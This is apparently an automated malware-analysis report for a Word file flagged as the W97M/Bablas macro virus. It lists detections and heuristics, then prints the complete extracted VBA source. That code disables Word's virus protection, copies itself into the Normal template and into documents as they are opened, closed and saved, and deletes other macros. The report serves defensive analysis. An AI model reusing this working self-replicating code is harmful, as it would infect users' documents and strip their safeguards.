MALICIOUS
256
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains legacy WordBasic macro virus markers and critical ClamAV detections for 'Doc.Trojan.Bablas-7'. The VBA code includes AutoOpen and AutoClose macros designed to infect the document and potentially spread to the Normal template, indicating a macro-based infection attempt. The presence of 'W97M-Bablas' in the document body further supports the identified family.
Heuristics 6
-
ClamAV: Doc.Trojan.Bablas-7 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Bablas-7
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3365 bytes |
SHA-256: 8bacb98fe5eaf6a77ca7366ba9208c5f29b37563a3c60ecd9c00e33cd310298d |
|||
|
Detection
ClamAV:
Doc.Trojan.Bablas-7
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Sick"
Sub Trought()
Attribute Trought.VB_Description = "Macro created 10/02/99 by Abdul Aziz"
Attribute Trought.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
Options.SaveNormalPrompt = False
Options.VirusProtection = False
Options.SavePropertiesPrompt = False
End Sub
Sub ToolsMacro()
End Sub
Sub ViewVbCode()
End Sub
Sub FileTemplates()
End Sub
Sub ChangeCap()
On Error Resume Next
Application.Caption = "Microsoft World "
End Sub
Sub Infect()
Dim Ill As Boolean
Ill = False
For Each Obj In ActiveDocument.VBProject.VBComponents
If Obj.Name = "Sick" Then Ill = True
If Obj.Name <> "Sick" And Obj.Name <> "ThisDocument" Then
Application.OrganizerDelete Source:=ActiveDocument.FullName, _
Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next Obj
If Ill = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument, Name:="Sick", Object:=wdOrganizerObjectProjectItems
End If
End Sub
Sub Infect2()
Dim Thin As Boolean
Thin = False
For Each Obj In NormalTemplate.VBProject.VBComponents
If Obj.Name = "Sick" Then Thin = True
If Obj.Name <> "Sick" And Obj.Name <> "ThisDocument" Then
Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next Obj
If Thin = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="Sick", Object:=wdOrganizerObjectProjectItems
Application.DisplayRecentFiles = False
Application.DisplayRecentFiles = True
End If
End Sub
Sub AutoExit()
Application.Quit
End Sub
Sub FileOpen()
ChangeCap
WordBasic.DisableAutoMacros True
On Error Resume Next
If Dialogs(wdDialogFileOpen).Show <> 0 Then
Infect
ActiveDocument.Save
End If
WordBasic.DisableAutoMacros False
End Sub
Sub AutoOpen()
Trought
ChangeCap
Infect2
On Error Resume Next
NormalTemplate.Save
End Sub
Sub AutoClose()
Infect
End Sub
Sub FileClose()
AutoClose
End Sub
Sub FileSave()
If ActiveDocument.Saved = False Then
Infect
Infect2
On Error Resume Next
ActiveDocument.Save
ActiveDocument.Saved = True
End If
End Sub
Sub Broke()
C = Documents.Count
If C <> 0 Then
Normal.Sick.Infect
WordBasic.DisableAutoMacros False
On Error Resume Next
If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.Sick.Broke"
End If
End Sub
Sub AutoExec()
WordBasic.DisableAutoMacros True
Trought
Application.OnTime Now + TimeValue("00:00:07"), "Normal.Sick.Broke"
End Sub
Sub FormatStyle()
Dialogs(wdDialogFormatStyle).Show
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.